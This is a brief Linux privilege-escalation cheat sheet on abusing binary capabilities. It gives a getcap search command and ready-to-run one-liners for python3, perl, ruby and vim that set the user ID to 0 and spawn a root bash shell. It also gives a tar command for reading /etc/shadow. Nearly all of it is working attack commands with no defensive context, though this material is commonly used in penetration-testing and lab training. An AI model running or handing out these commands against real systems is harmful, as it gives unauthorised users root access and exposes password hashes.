Find capabilities on binaries
getcap -r / 2>/dev/null
High-value capabilities:
cap_setuid · can set UID to 0
cap_net_raw · raw socket access (not directly for root but useful)
cap_dac_read_search · can read any file
Example: python3 with cap_setuid
getcap output: /usr/bin/python3 = cap_setuid+eip
/usr/bin/python3 -c "import os; os.setuid(0); os.system('/bin/bash')"Example: perl with cap_setuid
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
Example: ruby with cap_setuid
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
Example: vim with cap_setuid
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash","bash","-c","reset;exec bash")'Example: tar with cap_dac_read_search (read any file)
tar xf /etc/shadow -I '/bin/sh -c "cat /dev/stdin"'
Check GTFOBins for each capability: gtfobins.github.io (filter: Capabilities)